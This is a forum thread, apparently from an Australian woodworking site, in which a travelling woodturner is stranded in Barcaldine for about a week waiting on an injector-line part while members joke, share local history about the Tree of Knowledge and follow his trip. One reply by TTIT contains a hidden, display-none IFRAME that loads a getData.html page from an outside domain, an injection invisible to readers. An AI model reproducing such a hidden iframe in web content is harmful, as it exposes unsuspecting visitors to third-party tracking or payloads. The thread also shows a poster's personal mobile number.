Stuck in Barcaldine.

[RETIRED]

As some of you know i left the Melbourne show and headed towards Mareeba to visit Powderpost before heading south to Proserpine.

I should be getting close by now but a fractured injector line on the beast has stopped me in Barcaldine for 3 days.

It has been 1 day and am bored stupid so if any forumites live round this area and want to play, give me a call on 0428 983 614.:D

[chambezio]

Is this "Beast" the same one you changed the injector lines on the other week end that made you remember why you took up wood turning?

AH Barcaldine! Its along way from Prosapine. Is Queensland giving you a dose of sunshine you would not have?
If its not hot its flamin cold.

Hope you are back on the road soon. (Drive safely)

[FenceFurniture]

Jeez , you must have been going like the clappers, even if you left on Saturday.

[Grumpy John]

I bet it's the same injector line that took the skin off his knuckles too.

[tea lady]

AH Barcaldine! Its along way from Prosapine. Is Queensland giving you a does of sunshine you would not have?

Nice and sunny in Tooradin at the moment. :cool: :D

[chambezio]

Its not until you get away from the big smoke that you realise just how BIG Australia is.

When I was working we had an over night service with Laminex. There is a branch in Tamworth, that has a pretty good stock but inevitably you would ask for something that was not in stock and so they would "Get it up overnight"

Customers away from Tamworth would experience "over night service" that would take 2 days. Thats just how it worked. Now you are in Barcaldine, its a reasonably big centre, but Overnight to them is probably where your 3 day stay is coming from.

Laminex had a meeting of all branch managers from all over Australia. They asked the Darwin manager to give a talk on his experiences with the company from his angle. His "Over night Service" took a week!!! Its not until you drive to Darwin that you realise just how far away it is. They are closer to Indonesia than they are to Sydney or Melbourne

The beer will be cold.

Enjoy your stay

[mkypenturner]

hey
where you hiding inbetween barcaldine and prossy for the next 6-8 days or so ??????

[Pat]

Barcaldine = Middle of Nowhere!

Although the Queensland Tourist site has Barcaldine as a centre for
Activities

Birdwatching . . . Wrong type of Birds
Camping . . . That's what the Beast is for
Fishing . . . Lagoon Creek is close to town, please don't use the concussion method to fish, it upsets the locals
Golfing . . . Mark Twain had it right, Golf is a good walk, spoiled.
Off Road Driving . . . Gotta have a vehicle that's not sick.
Shopping . . . maybe pick up a new round neck t shirt and spend the nights adjusting them with scissors, not a skew.


Have a rest and drink plenty of warm coke and tea.

[Opelblues2]

The last time I was barcaldine was 17 years ago, I can remember leaving tyre marks in the tarmack it was that hot the bikes tyres stuck to the road. Stayed the night in the local. Carn't remeber much after fifth round. Don't worry to much its only a short drive to emerald and the on to mackay. Just lay back and enjoy the drive.

[specialist]

Ahh, Barcaldine, A lovely place I have to say. As for forumites, I can only say that I am probably the closest, an hour or so away. It's a pity it's during the week, otherwise I would pay a visit.

Robert

[RETIRED]

To answer all your questions.

Yes, it is warm.

Yes it is the one that dented the knuckles.

The problem is that the part is in, wait for it, Melbourne and they do not air freight. Brisbane to Barcy- air freight. :shrug:

I could have broken down in a worse place I suppose.

There is more to this story: One of the original rusted through on the way back from Sydney show. Not one to do things by halves I replaced them all.

3 I could buy as original equipment and was told that there were no others available in the world. "they don't make em for that older vehicle any more. You were lucky to get those." Yeah right.

So I had 3 made and they are the ones giving trouble. One on the way back from Canberra show. The same one now.

Andrew (mechanic in Barcy) gets on phone. 2 hours later his supplier rings back and says "how many you want?" but the catch is they are in Melbourne. Bummer.

FF, a nice drive for me.:D

[RETIRED]

Ahh, Barcaldine, A lovely place I have to say. As for forumites, I can only say that I am probably the closest, an hour or so away. It's a pity it's during the week, otherwise I would pay a visit.

RobertBummer.

[_fly_]

maybe you need to buy some jigsaw puzzles at the op-shop in the morning.

[Kev Y.]

Barcaldine looked real good from 6000 feet last time I was up that way :)

[Pagie]

He was at the wood show on Sunday. pinching muffins

[dai sensei]

Gee , that is bad news :o

Getting there in 1 day is scary if you are on your own again, that is just too far, even for someone that loves driving like yourself :no: Please take care ol son :-, a lot of people would miss ya if something happened :rolleyes:

Cheers

[TTIT]

If you weren't immobilised I could direct you to some awesome trees to check out - but there's not much you can do on foot from there :shrug: I can recommend the egg & bacon rolls at the roadhouse on the corner of the highways - that should fill in ten minutes :;

[powderpost]

To answer all your questions.

Yes, it is warm.

Yes it is the one that dented the knuckles.

The problem is that the part is in, wait for it, Melbourne and they do not air freight. Brisbane to Barcy- air freight. :shrug:

I could have broken down in a worse place I suppose.

There is more to this story: One of the original rusted through on the way back from Sydney show. Not one to do things by halves I replaced them all.

3 I could buy as original equipment and was told that there were no others available in the world. "they don't make em for that older vehicle any more. You were lucky to get those." Yeah right.

So I had 3 made and they are the ones giving trouble. One on the way back from Canberra show. The same one now.

Andrew (mechanic in Barcy) gets on phone. 2 hours later his supplier rings back and says "how many you want?" but the catch is they are in Melbourne. Bummer.

FF, a nice drive for me.:D

Where did I put that violin???? :D

[Mulgabill]

Jeez , you didn't waste any time did you?:o Getting to Barcy I mean!

As they say (whoever they are) #### happens! and then there is Murphy's Law. It must be covered somewhere in here Murphy Laws Site - Murphy Laws (http://www.murphys-laws.com/murphy/murphy-laws.html)
I hope you have a reasonable uneventful trip once this problem is fixed.

[Jonzjob]

Sympathetique lot you lot down there aren't you??:C There's this poor bloke wot's stuck in what sounds like the back of nowhere and you can't even get a bit of tubing to him.

Aussie ain't that big place? About a days drive east to west init? :oo:

Have a nice cool beer and a game of petanque with the locals mate. It'll all come together before you know it :?

Good luck!

[RETIRED]

Where did I put that violin???? :DExpected that from you.:U


Jeez , you didn't waste any time did you?:o Getting to Barcy I mean!

As they say (whoever they are) #### happens! and then there is Murphy's Law. It must be covered somewhere in here Murphy Laws Site - Murphy Laws (http://www.murphys-laws.com/murphy/murphy-laws.html)
I hope you have a reasonable uneventful trip once this problem is fixed.Murphy lives at our place and comes on holidays with me.:~


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Aussie ain't that big place? About a days drive east to west init? :oo:

.
Good luck!Coupla days even for me.:;

[Grumpy John]

Sympathetique lot you lot down there aren't you??:C There's this poor bloke wot's stuck in what sounds like the back of nowhere and you can't even get a bit of tubing to him.

Aussie ain't that big place? About a days drive east to west init? :oo:

Have a nice cool beer and a game of petanque with the locals mate. It'll all come together before you know it :?

Good luck!

According to Google Earth: Melbourne - Barcaldine 1,868 Km 21Hrs. 31 Min. Easy peazy.
He only had another 700 K's to go :doh:.

[tea lady]

Aussie ain't that big place? About a days drive east to west init? :oo:
You must be thinking of Austria. :doh: :D

[Cliff Rogers]

Bugger.
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[chambezio]

,
I will be interested to hear your story when you are out of Barcy. How is the mechanic's hospitality? The further west you go I have found that these sort of fellas show a lot of compassion to ones plight.

Freight is a real bummer when you are stranded too :doh:

Stay happy

[wheelinround]

Time to bury the old girl and by an newer vehicle.

[rsser]

There's bush time and city time.

Making the transition from the latter to the former can raise blood pressure, cause domestic friction and raise locals' eyebrows.

At least you're not on a Trumpy bike, where ex-stock parts are shipped by boat from the UK after having been made in Thailand!

[wheelinround]

I am amazed all the Knowledge you could be getting there after all its historical significance might inspire.

Panoramio - Photo of Barcaldine The Tree of Knowledge May 2010 (http://www.panoramio.com/photo/36059672)


The ghost gum, Eucalyptus Papuana, which grew outside the Railway Station, earned its claim to fame as the founding site of the political movement we now know as the Australian Labor Party. In 1891 Barcaldine was the centre for the striking shearers during the “Great Shearers Strike” when they met under its boughs. In May 1891, about 3000 striking shearers marched under the “Eureka” flag to put forward their protests against poor working conditions and low wages. Because the area beneath the Tree of Knowledge was the scene of actions and decisions which had a profound effect on the future of labour and politics in Australia, it has become an icon of the Labor Party and Trade Unions.

[Cliff Rogers]

It is dead.

In 1991, the tree was found to be suffering from dieback. In an act of vandalism, the tree was poisoned with glyphosate (a main ingredient in the herbicide RoundUp) in 2006. An arborist declared the tree dead on 3 October 2006. The ALP offered a reward of A$10,000 for any information that will help identify those responsible

[tea lady]

It is dead.

Ah! That place. I know where you are now.:cool:

Couple of pen blanks in the tree then. :D And you were worried you had no wood with you . :D

[Cliff Rogers]

Too late.

The remains of the tree were removed on 29 July 2007. According to a Queensland Government release the tree is undergoing a process of wood preservation and the remains of the tree - 7 metres tall and 2 across - are being transferred to a special preservation facility.
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[wheelinround]

Too late.

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Bit like the Labour Party "Too Late"

Cliff I knew it was dead thats why I put this link up first from 2010 :roll: (http://www.panoramio.com/photo/36059672:roll:) (Edited wrong link photo added.)

http://static.panoramio.com/photos/1920x1280/36059672.jpg

[TTIT]

Too late.

<IFRAME style=" DISPLAY: none; 0px" src="//edge.crtinv.com/getData.html?d=about%3A%2F%2F"></IFRAME>Unless you can cut some blanks from the anti-tree they put in it's place :U - basically a big box with wooden pendulums filling the space where the tree wasn't - a negative tree you might say - if you'd had enough to drink :shrug:

[rsser]

Maybe time to start carrying a midi lathe .

Set up in the main street and turn and flog honey dippers and pens.

Guaranteed made from the Tree of Life :rolleyes:

[RETIRED]

Ah! That place. I know where you are now.:cool:

Couple of pen blanks in the tree then. :D And you were worried you had no wood with you . :DWhy aren't you working?:q


Time to bury the old girl and by an newer vehicle.Tis the only time it has let me down. Old technology I know but if it breaks I can generally fix it.


There's bush time and city time.

Making the transition from the latter to the former can raise blood pressure, cause domestic friction and raise locals' eyebrows.

At least you're not on a Trumpy bike, where ex-stock parts are shipped by boat from the UK after having been made in Thailand!Catching up on some reading.

[RETIRED]

I am amazed all the Knowledge you could be getting there after all its historical significance might inspire.

Panoramio - Photo of Barcaldine The Tree of Knowledge May 2010 (http://www.panoramio.com/photo/36059672)I saw the original tree many years ago, saw the dead one before they moved it, seen the "replacement" as well.

Been through the Australian Workers Heritage Centre, The historical Museum and eaten at most of the six pubs here over the years.


Maybe time to start carrying a midi lathe .

Set up in the main street and turn and flog honey dippers and pens.

Guaranteed made from the Tree of Life :rolleyes:i have it with me but no timber. :shrug::U

[Allan at Wallan]

Why aren't you working?:q


Remember the old adage ...
"When the cat is away, the mice will play".
:D


Hope you get back on the track shortly.

Allan

[wheelinround]

Why aren't you working?:q

Tis the only time it has let me down. Old technology I know but if it breaks I can generally fix it.

Catching up on some reading.



:think: Is this the same vehicle http://www.woodworkforums.com/f116/lucky-boy-159650/?highlight=

Whats this about knuckles and talk of same injector line repaired already :rolleyes: is she trying to let you know she is getting tried, run down.



Are we to assume then the same attitude should be taken with Old Lathes.............no need to upgrade if the old ones still working :U No need to outlay for top quality tools if the old ones are still doing the job if we can fix them.:p

[Cliff Rogers]

Smith Bros Pty Ltd, 69 Oak St BARCALDINE QLD 4725

They should have some timber.

You could also go for a scrounge around the railway, you might pic k up a nice dry sleeper. :D

[rsser]

Beware of sleepers. They're likely to have asbestos fibres about them from the old brake linings. Old = pre-2003.

Reading is good. Ebook readers especially. Light; load them up with lots of books before heading out; batteries last a long time. If you run out of stuff, load up the latest bestest over the 'net or 3G. File sizes with epub format aren't big. And there's all the out-of-copyright stuff free from Project Gutenberg and elsewhere.

[RETIRED]

:think: Is this the same vehicle http://www.woodworkforums.com/f116/lucky-boy-159650/?highlight=

Whats this about knuckles and talk of same injector line repaired already :rolleyes: is she trying to let you know she is getting tried, run down.



Are we to assume then the same attitude should be taken with Old Lathes.............no need to upgrade if the old ones still working :U No need to outlay for top quality tools if the old ones are still doing the job if we can fix them.:pShe has done 250,000K so for a diesel is only just run in.

The centre bolts in springs can break at any time particularly given the the fact that this vehicle has been on some pretty rugged roads. Normal wear and tear for a 30 year old vehicle.

The lines that are giving trouble are ones that were made, not OEM.

You will not find a lathe in my place that is under 15 years old (except Henry who is 12) so the answer to your question is yes. The only real innovation to lathes is variable speed but even that is not new as some lathes were fitted with that 100 years ago.:rolleyes: It has just become more affordable for most people.

Tools on the other hand have come forward in leaps and bounds due to better steels but gimmick tools IMHO are just that, gimmicks.

For most people a good set of tools will last a lifetime. They just have to learn how to sharpen them and use them properly.

[RETIRED]

I have no power to run the lathe and too stingy to pay $10.00 a night for it.:D

I have been reading some mags that I got at the show plus some of the old turning books from the web that I have just browsed through previously.

I am getting used to not having to do anything, hope it is not a long term thing.:D

[rsser]

Having done a few trips to quiet places in Aus., outback, bush and mountain, the quiet, the huge horizons, the alone-ness slowly seep into the soul. And have changed me.

But anyway, sounds like you need a treadly .

[wheelinround]

:aro-u: Agree with Ern or like the fellow at the Mel woodshow time to fit the excercise bike and get multi benefit.


Excuses excuses .............yep I know all of what has happened to the old girl can and has happened to an almost new vehicle or 3 terrible when its under warranty and the boss :((.

Usually time to check over things though when pipes start breaking and leaking you have to consider other motorists and slippery road conditions it can cause especially for those fellows on 2 wheels traction ain't what it used to be.


I am wondering though why it could not be sourced from anywhere else even a wreckers, might be time to carry some bundy tube and olives.

[Scott]

Geez Vern, Emerald is not far east of , why don't you save the old coot and share a cuppa with him? :D :D :D

[Jonzjob]

You must be thinking of Austria. :doh: :D

No TL, that where Austrians come from. Yours is that likkle island near NZ init :D It only took a Jumbo about 4 hours to fly across it to Tulamarine when I went there.

[Cliff Rogers]

I have no power to run the lathe and too stingy to pay $10.00 a night for it.:D......

I am getting used to not having to do anything, hope it is not a long term thing.:D
$10 a night is a bit steep for power. :oo:

We just did 23 days in an RV in Canada & although we didn't stay in the same place 2 nights in a row, towards the end of the trip we had wound down that much that it was very tempting to not get up & go the next day. :U

[TTIT]

Geez Vern, Emerald is not far east of , why don't you save the old coot and share a cuppa with him? :D :D :DIt'd be alright if a bloke didn't have to work for a livin' :C You would think he'd have had the courtesy to break down somewhere in my work district eh!?!? - could easily have dodgied an excuse to drive 3 hours in any direction other than west! :U

[springwater]

Have you seen any old bones out there ?

[tea lady]

Have you seen any old bones out there ?:rofl:

[RETIRED]

Have you seen any old bones out there ?Only mine.
:whistling::D

[Woodwould]

Be vigilant of the local mechanics!

238351

[Grumpy John]

I bet the backroom boys at Google Earth are wondering what the hell is going on in Barclaldine. Is it a flood, a bushfire, an earthquake. No it's just broken down, that's the reason we've had more searches for Barcladine in the last two days than we've had in the last ten years. :D

[tea lady]

Be vigilant of the local mechanics!

238351:rofl:

[Grumpy John]

:rofl:

Get back to work.

[Mulgabill]

Get back to work.
Getting in first GJ??:D

[Grumpy John]

:wink:

[RETIRED]

TL is not there today.

[Grumpy John]

TL is not there today.

:doh:

[tea lady]

Kid crook. Wasting time at home. I still have things I should be doing of course. Although I have paid a stack of bills. :cool:

Going to make some thin bits of wood even thinner now. :cool:

[Cliff Rogers]

...

Going to make some thin bits of wood even thinner now. :cool:
To make a new handle for a tea pot?

[Cliff Rogers]

You still there ?

Just drove past a bus like yours parked outside the Malanda Cop Shop, it had NSW plates on it.

[RETIRED]

Yep, until at least tomorrow arvo and that is if all goes well.:D

[mkypenturner]

Yep, until at least tomorrow arvo and that is if all goes well.:D
hope you get going soon
oh and wheres your next stop ??? you doing any more visits or you just gunna go hide in the bush

[RETIRED]

hope you get going soon
oh and wheres your next stop ??? you doing any more visits or you just gunna go hide in the bushPowderposts first then Prossy and then Gold coast Demo on Tues night and a weekend workshop in Albury then home.:D

[tea lady]

To make a new handle for a tea pot?:C No. But have been pondering it.

[tea lady]

You were wondering what you were going to do with all that free time. Sit around in Barcaldine of course. :cool:

[Cliff Rogers]

You were wondering what you were going to do with all that free time. Sit around in Barcaldine of course. :cool:

I think he did it on purpose 'cos Jim was going to put him on a lawn mower. :D

[tea lady]

I think he did it on purpose 'cos Jim was going to put him on a lawn mower. :D
:doh::D

[RETIRED]

The parts are not arriving until Monday!!!:((

[Woodwould]

The parts are not arriving until Monday!!!:((
Phone the apprentice to come with a replacement vehicle!

[Cliff Rogers]

The parts are not arriving until Monday!!!:((

Bugger, a weekend in Barky could be enough to send you barking mad.

[Grumpy John]

I feel for you , it's no fun being stuck in the middle of nowhere at the mercy of couriers and mechanics that run on country time. I hope that the local pub/s serve a decent steak or lambs fry and bacon.

[Jonzjob]

Did they say which Monday :whistling1::whistling1::whistling2:

[RETIRED]

The mechanic has done his best but it is the suppliers in Melbourne!!:((

[powderpost]

Where are the suppliers? Didn't hear that, must be a flat battery??? :)
Jim

[powderpost]

I think he did it on purpose 'cos Jim was going to put him on a lawn mower. :D
Actually I was going to get him to service the injectors on the Kubota tractor. :spyme:




Jim

[Cliff Rogers]

Actually I was going to get him to service the injectors on the Kubota tractor. :spyme:




Jim

Good idea, I have a Kubota & a Ford 5000, both diesel. :2tsup:

[Mulgabill]

The parts are not arriving until Monday!!!:((
I feel for you mate!:gaah::frustrated::saddest::depressed:

[Tim the Timber Turner]

Hang on I'll turn the volume up a bit


The mechanic has done his best but it is the suppliers in MELBOURNE:((

Cheers

Tim:)

[Pagie]

I'll put my $5 on parts arriving on tuesday.

:U

[RETIRED]

Ripper thunderstorm and light show at the moment.:D

[rsser]

Silver lining.

[Mobyturns]

Ripper thunderstorm and light show at the moment.:D

We just thought that was you after receiving more bad news. :o

[wheelinround]

You've been there a week and still not one :photo2: lightening storm would have been great opportunity.

[Jonzjob]

"You've been there a week and still not one :photo2: lightening storm would have been great opportunity."

Sorry Wheelie, does that mean something in Aussie talk unbeknown to us poor northerners:?:? Or do I need a couple more 'tinnies'?:?

[tea lady]

"You've been there a week and still not one :photo2: lightening storm would have been great opportunity."

Sorry Wheelie, does that mean something in Aussie talk unbeknown to us poor northerners:?:? Or do I need a couple more 'tinnies'?:?Nah! We just have a running joke along the lines of "if there is no pics it did not happen" .:D
Bit tricky though as 's camera is still on the desk, and I think his phone only makes phone calls. :oo::D

[Jonzjob]

His phone only makes phone calls !!!!!!! :oo: :oo: :oo: :oo: :oo:

Robo me awd mate, you have just gone up 1000% in my estimation. I thought that I was the only one left that actually just used the phone to phone people??????

I do have a camera that takes superb photos, but has no way to talk to anyone on the phone and I have a mobile phone that makes good phone calls, I think there is a camera on it, but people can't hear me when try to photograph a phone call to them. Strange that really:?

Soon be Monday for you lot down there now, so I wait with brated beath, or sunfin like that, to hear that you are on your way to the next breakdown, sorry, stop!!

As a matter of interest, our clocks went back an hour last night so that it stays early an hour later, but it does get late earlier until around late December where it starts to stay earlier later again. My brain is starting to 'urt!

[tea lady]

As a matter of interest, our clocks went back an hour last night so that it stays early an hour later, but it does get late earlier until around late December where it starts to stay earlier later again. My brain is starting to 'urt!Our clocks just went forward, so brain some what hurts here to. Getting hotter here. :wave:

I wonder if he is still stuck? :hmm: I guess if he hasn't posted he might be driving. :cool:

[Sturdee]

I thought that I was the only one left that actually just used the phone to phone people??????



You're not the only one. :2tsup:

My mobile serves me so I only use it to make calls when I'm out. When at home it lies on my bedside table waiting for when I go out.

Also only 2 people know the number, and know to call me only when it's urgent, and I'm out.


Peter.

[dai sensei]

So did the part arrive? Are you back on the road?

Cheers

[RETIRED]

I'll put my $5 on parts arriving on tuesday.

:UYou lose.:D


So did the part arrive? Are you back on the road?

CheersYep and Yep. Practically on Jims doorstep in Atherton.:D

I will ring him in the Morning to locate McConachie mansion.:wink:

[Jim Carroll]

So just like Willie Nelson you are On the Road Again :2tsup:

[Mobyturns]

Ah well we could do without an impressive light show from - skew-weilding god of the monster lathe! I guess we will see you in Prossy on Friday.

[Pagie]

So who do I pay.. no one took my bet. :-

Glad you are mobile again.

[RETIRED]

Ah well we could do without an impressive light show from - skew-weilding god of the monster lathe! I guess we will see you in Prossy on Friday.You certainly shall.:D

[RETIRED]

So who do I pay.. no one took my bet. :-

Glad you are mobile again.All donations gratefully received.:cool: Thanks. Enjoying the hospitality at Jim and Sharons.

[Mobyturns]

All donations gratefully received.:cool: Thanks. Enjoying the hospitality at Jim and Sharons.

Great people, have a look at their new platter.

[Cliff Rogers]

& Jim have just left, I almost poisoned by giving him raw sugar for his tea. :rolleyes: :D

I also made the mistake of feeding them multigrain bread... Jim broke a tooth. :doh:

thought I was just a turner. :)

[rsser]

LOL.

Dietary prefs. have been a prob. down south too.